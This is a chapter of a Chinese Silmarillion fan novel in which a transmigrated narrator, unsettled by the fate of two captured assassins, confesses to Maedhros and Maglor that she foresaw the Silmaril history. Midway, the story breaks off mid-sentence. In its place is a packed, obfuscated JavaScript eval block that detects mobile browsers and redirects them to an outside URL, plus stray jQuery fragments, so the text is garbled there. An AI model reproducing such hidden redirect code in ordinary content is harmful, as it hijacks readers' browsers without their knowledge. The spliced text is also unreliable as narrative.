88.坦诚的穿越者

作品:《[精灵宝钻 中土]偷天换钻

    你陷入了两难的境地。


    如果把你所知道的剧情告诉费诺里安,你无法确定他们是什么反应,又会不会反而导致事情向更坏的方向发展;且这个世界的许多细节都与“剧情”相差甚远——除了托尔嘉兰外,原著里哪儿会这么早就出现一个林顿王国?


    你甚至不知道自己在这个世界里是什么角色,又如何扮演“先知”?连已经发生的事都出现了偏差,未来真的会像你记忆中“剧情”一样发展吗?


    费诺里安与加拉德瑞尔、奇尔丹都不一样,哪怕是梅斯罗斯,恐怕最多也只能包容你不说出来,但绝对不可能忍耐你谎报军情、误导他们。


    然而,如果你不告诉他们,你也将永无宁日——那破药水让你没能管住嘴,给梅格洛尔泄露了最惹人遐想的一条信息;现在梅斯罗斯还能够约束他,可你已经见识过他搞监视、翻旧账、乱联想的能耐,万一有一天,出于某种原因,这种约束失效了呢?更何况,梅斯罗斯看起来不在意……是真的不在意吗?


    你在床上瘫了两天养病,期间一直没见到梅格洛尔来寻根究底,大概是被梅斯罗斯血脉压制了;但你根本没放下心来,因为给你看病开药的医师劝你继续瘫着——“您的头部受到了重创,这段时间最好还是静养,如果您执意要活动的话,请让我贴身跟随在您身边以防不测”。


    ……扯淡。你都已经活蹦乱跳吃嘛嘛香了,地板再硬也就是木地板,还能给你磕出脑震荡脑淤血?明显就是要再给你身边派个探子啊!


    你决定夺回主动权。


    结果梅格洛尔拒绝了你的邀请,并酸溜溜地表示他哥不让他跟你独处。


    随即,医师陪你放风,哦,散步的时候一不小心就散到了一面墙边;古怪的是,一面墙居然还有个守卫在边上守着。


    守卫热情地移开墙上的漂亮油画,露出画后面的一个篮球大的窗口来,潮湿的腐败味道像毒蛇般蹿出;你下意识地往后退了一步,医师稳稳地扶住了你的肩膀。


    “里面这位可是您的熟人了。”守卫一边将灯光凑近窗口,一边介绍道,“您还记得吗?他曾在德内梭尔先王祭典上刺杀您。”


    医师揽着你走到窗口边,与你一起往里面看过去——狭小的黑暗空间中,灯光也只能照亮一小片地方,一具衣衫褴褛的躯体蜷缩在角落里;如果不是能隐约听到神经质的念叨声,你还以为那是一具尸体。


    “一开始这里是有门的。”守卫跟你比划,“石头一层一层地往上垒,他倒是一直很硬气,什么也想不起来,也一点记不住他的主人说过什么;封成这样后没多久他倒是想起来了,可惜,拆不掉咯。”


    医师贴心地抚着你的脊背安慰你:“别担心,王上,这只是惩戒,我们已经为他提供了完善的医疗服务,他从未遭到□□上的折磨,更不会有性命之忧。”


    你被摸得愈加汗毛倒竖。


    什么医疗服务用“已经”形容啊!想死都死不掉是吗!


    你神思恍惚地被医师半搂半抱拖着走,还要听人嗔怪“都说了王上您要静养”,然后就散步到了木工坊。


    ……又一不小心偶遇了熟人。


    那个曾在莱戈林河南岸聚居地摸到你卧室意图刺杀你、被梅斯罗斯抓了个正着的绿精灵,现在正……兢兢业业、快快乐乐地做木工,任何人使唤他他都会积极应和行动。


    “我没有什么有用的情报可告诉梅斯罗斯殿下,甚至冒犯过他,他却那样宽容温和地指引我走出了歧途,”他懊恼地对你说,“我只能全身心奉献给主人来报恩了。”


    夜风掠过灯火幢幢的走廊,马洛尔的呓语尚在耳畔,你却觉得此刻的寒意比那时更蚀入骨髓。


    ……


    你推开了会议室的门。


    这已经是午夜时分,进门处只有一些黯淡的灯光。深红帷幕像凝固的血瀑垂在影壁上,光明从它背后显映出来,反倒衬托得前方的会议室愈加黑寂,每把椅子都像个佝偻的人影,冷冷地注视着你从它们旁边迈过去。


    你拨开过道边垂落的帘布与流苏,走进了影壁背后的书房。


    梅斯罗斯正坐在书桌后,但他的桌面上非常整洁干净,完全不像上次你看到的那样堆满各种各样的文件;在你到来之前,他似乎只是将手肘搁在椅子扶手上,托着脸看影壁背面如同火焰升腾的巨大彩绘徽章,漫无目的地在发呆。


    一些光斑落在你的视网膜上,你循着看过去,正对上梅格洛尔腕上闪闪发光的宝石;他仍然穿着黑袍,站在书房另一边的书架旁,手里拿着一本书,目光却落在了你身上。


    啧啧啧,什么世道,看书的给摸鱼的腾座位……


    你一边让自己不那么紧张,一边让自己看起来既紧张又局促,小心翼翼地走到了梅斯罗斯身边。


    “怎么了?这么晚了还不睡觉。”他好像刚发现你似的,轻柔地问。


    你按捺下自己的鸡皮疙瘩,用最可怜巴巴的语气说:“殿下,我睡不着。”


    ……你听见梅格洛尔用气音笑了一声。


    梅斯罗斯往后靠在了椅背上,向你招招手,你顺从地走过去,站在了他身边;但他只是侧头看着你,一句话也不说。


    你近距离和他的铁灰色眼睛对视着,整个房间只回荡着梅格洛尔翻书的声音;很快,你的头皮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684110|170186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开始发麻。


    片刻后,你咬了咬牙,在梅斯罗斯身侧屈膝半跪下来。


    ……多米德的地可真硬啊。


    扶手边垂落的那只左手指根处,红铜权戒上狮头咬着的红宝石正在阴影中泛着冷光;你本能地战栗起来,一闭眼,快速地在上面亲了一下。


    梅斯罗斯在你头顶发出了一声轻笑。他抬起手来,替你梳理起了头发:“今天怎么这么乖巧?”


    这是人话吗……而且这么摁着你你怎么站起来啊!


    你只能压抑着不适,低声说:“您不在意我有秘密是您的宽容温和,但将秘密向主君坦诚以告是我的责任所在——不向您交代清楚,我是无论如何无法安眠的。”


    梅斯罗斯叹了口气,手指仍然在你发间慢慢摩挲着,像在安抚孩子……或者宠物:“那就说说吧,如果这样能让你睡个好觉的话。”


    那些“高级”的埃尔达,本质上都是一样的,他们永远不会把我们看作同族……莱格利斯的告诫回响在你耳边,而你只是温顺地垂下眼睛。


    ……这个世界根本没有可以讨价还价的“老板”,只有能掌控你身家性命的“主君”。


    “不管您信或不信,在穿越‘次元壁’之时,”你说,“我看到了这个世界的一些……‘历史’。”


    梅斯罗斯的手指停顿了一下。


    “说是‘历史’也不尽然,”你抬起眼睛看向他,“那只是一种抽象扭曲的‘概念’和我所能猜测的意思——它们贯彻了从茜玛丽尔诞生到终结的时间,包含的内容总与它有些千丝万缕的联系。”


    你听到了梅格洛尔尽力放轻的深呼吸的声音,翻书的声音则早就停止了;而梅斯罗斯只是神情平静地俯视着你,没有对你提到茜玛丽尔做出任何意外或是激动的反应:“继续。”


    “所以早在到来之前,”你说道,“我就认识你们了。”


    “我见过三颗钻石的光辉,见过这光辉被黑暗和血色覆盖;也见过海水倒映的火光,见过冰原上蜿蜒如蛇的队伍。”你放轻了声音,“我还见到了一些人,但有时,他们的实质与我猜测的印象完全不同。


    “一切虚无模糊的‘概念’中,我能确定的……只有死亡。”


    “所以你能确定‘就活了我一个’?”梅格洛尔语气尖锐地问道。


    “也许,我只是一只看了一眼乐章、却落在了乐队中间的蚂蚁。”你没有回答他,仍然平静地说,“有些乐曲已经被演奏过,有些还没有;如果不是意外爬到了乐谱上的话,这一切与我大概并没有什么关系——我只是在震耳欲聋的声响里挣扎,希望能存活到演奏会结束罢了。”